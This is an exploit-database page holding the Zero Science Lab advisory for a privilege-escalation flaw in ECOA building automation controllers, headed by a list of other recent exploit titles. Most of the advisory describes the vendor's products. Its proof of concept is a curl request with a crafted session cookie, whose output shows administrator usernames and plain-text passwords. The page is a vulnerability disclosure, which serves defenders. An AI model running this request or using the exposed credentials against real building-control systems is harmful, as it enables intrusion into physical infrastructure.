
18 changes to exploits/shellcodes Active WebCam 11.5 - Unquoted Service Path ECOA Building Automation System - Missing Encryption Of Sensitive Information Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai ECOA Building Automation System - Hard-coded Credentials SSH Access Men Salon Management System 1.0 - Multiple Vulnerabilities ECOA Building Automation System - Weak Default Credentials ECOA Building Automation System - Path Traversal Arbitrary File Upload ECOA Building Automation System - Directory Traversal Content Disclosure ECOA Building Automation System - 'multiple' Cross-Site Request Forgery (CSRF) ECOA Building Automation System - Cookie Poisoning Authentication Bypass ECOA Building Automation System - Configuration Download Information Disclosure ECOA Building Automation System - Hidden Backdoor Accounts and backdoor() Function ECOA Building Automation System - Remote Privilege Escalation ECOA Building Automation System - Local File Disclosure ECOA Building Automation System - Arbitrary File Deletion Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload Apartment Visitor Management System (AVMS) 1.0 - SQLi to RCE Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)
110 lines
No EOL
6.2 KiB
Text
110 lines
No EOL
6.2 KiB
Text
# Exploit Title: ECOA Building Automation System - Remote Privilege Escalation
|
|
# Date: 25.06.2021
|
|
# Exploit Author: Neurogenesia
|
|
# Vendor Homepage: http://www.ecoa.com.tw
|
|
|
|
ECOA Building Automation System Remote Privilege Escalation
|
|
|
|
|
|
Vendor: ECOA Technologies Corp.
|
|
Product web page: http://www.ecoa.com.tw
|
|
Affected version: ECOA ECS Router Controller - ECS (FLASH)
|
|
ECOA RiskBuster Terminator - E6L45
|
|
ECOA RiskBuster System - RB 3.0.0
|
|
ECOA RiskBuster System - TRANE 1.0
|
|
ECOA Graphic Control Software
|
|
ECOA SmartHome II - E9246
|
|
ECOA RiskTerminator
|
|
|
|
Summary:
|
|
#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are
|
|
designed to provide you with the latest in the Human Machine Interface (HMI) technology,
|
|
for completely monitoring and controlling management. It may be used singly for small and
|
|
medium sized facilities, could be linked together via the high-speed Ethernet to other
|
|
servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more
|
|
sophisticated applications. The Risk-Terminator practice Web basic conception that with
|
|
operation simply and conveniently, totally share risk and make sure of security. Even
|
|
remote sites may be controlled and monitored through Ethernet port, which base on standard
|
|
transferring protocol like XML, Modbus TCP/IP or BACnet or URL.
|
|
|
|
#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP
|
|
networking technologies. It incorporates an embedded web server that can deliver user-specific
|
|
web pages to any PC or mobile terminal running internet browser software. A user with an
|
|
appropriate security codes can made adjustment or monitor the network control unit form
|
|
any internet access point in the world. It also provides network management, integration
|
|
and process control functions for any existing or new building controllers and microprocessor
|
|
based equipments or system in buildings. The management function provided by the RiskBuster
|
|
such as trend log and alarm generation improves building controllers and microprocessor
|
|
based equipments or system management and audit trail capabilities. The integration function
|
|
provided by the RiskBuster allows seamless integration such as information sharing (read/write)
|
|
between building controllers and microprocessor based equipments or system without any need
|
|
of major upgrade or equipments replacement and allow cost saving. The process control functions
|
|
provided by the RiskBuster allow global control action to be implemented across any building
|
|
controllers and microprocessor based equipments or system to allow full building control. The
|
|
RiskBuster provide a truly cost effective solution for any building automation or high level
|
|
integration application. A truly Ethernet network compliant feature allows the RiskBuster to
|
|
be install anywhere in the building.
|
|
|
|
#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for
|
|
Building Automate System; Environment control system; HVAC control system and other types of
|
|
equipment. Being fully programmable it ensures complete application versatility, allowing
|
|
specific products to be created according to customer requests. This controller is a configurable
|
|
unitary controller based on the 32bit series microcomputer, with an on-board clock, have two
|
|
RS-485 local bus.
|
|
|
|
#4 The ECS0000160 is a Router Controller for building and industry products based on various
|
|
microprocessors. It not only accessing information but also monitoring and controlling across
|
|
Internet directly. The ECS0000160 can totally replace and improve a typical system that always
|
|
has tedious panel and complex working process. An obviously benefit to our customers is that
|
|
ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed
|
|
to connect with singular specific operating system. It's like a whole package, which provides
|
|
browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all
|
|
through web-pages operating, which works base on standard transmission Internet protocol. The
|
|
ECS0000160 provides a low industry cost. A truly friendly network interface which is simple
|
|
and easy to apply on factory floors. It supports from serial ports with options of RS485.
|
|
|
|
#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden
|
|
installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A
|
|
conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional,
|
|
integral and differential (P+I+D) and dead-zone control to control accurately. The controller
|
|
features contains the sensing system, proportional control systems, computing modules, control
|
|
modules, alarm detection system, and so on. It mainly used in building control, plant monitoring,
|
|
air monitoring, lighting and power control, the use of premises for buildings, factories, offices,
|
|
conference rooms, restaurants, hotels, etc.
|
|
|
|
Desc:
|
|
The BAS controller is vulnerable to weak access control mechanism allowing any user to escalate
|
|
privileges by disclosing credentials of administrative accounts in plain-text.
|
|
|
|
Tested on: EMBED/1.0
|
|
Apache Tomcat/6.0.44
|
|
Apache Tomcat/6.0.18
|
|
Windows Server
|
|
MySQL Version 5.1.60
|
|
MySQL Version 4.0.16
|
|
Version 2.0.1.28 20180628
|
|
|
|
|
|
Vulnerability discovered by Neurogenesia
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2021-5677
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5677.php
|
|
|
|
|
|
25.06.2021
|
|
|
|
--
|
|
|
|
|
|
Privilege Escalation
|
|
--------------------
|
|
|
|
- Any user can navigate to the User Edit page (useredt.jsp) and see the password of other users in clear-text.
|
|
|
|
|
|
Request:
|
|
|
|
$ curl -s http://192.168.1.3:8080//useredt.jsp -H "Cookie: JSESSIONID=t00tw00t; UCLS=19; UID=user; PWD=user; ROOT=FOUND; AlmCt=0" |findstr embed
|
|
<tr autoid='1' tgs='' ><td><input type='checkbox' onclick='onchk(this);' ></td><td>embed</td><td>power</td><td>19</td><td> </td><tr autoid='1' tgs='' ><td><input type='checkbox' onclick='onchk(this);' ></td><td>root</td><td>embed</td><td>19</td><td> </td><input type='hidden' name='delrow' value='' > |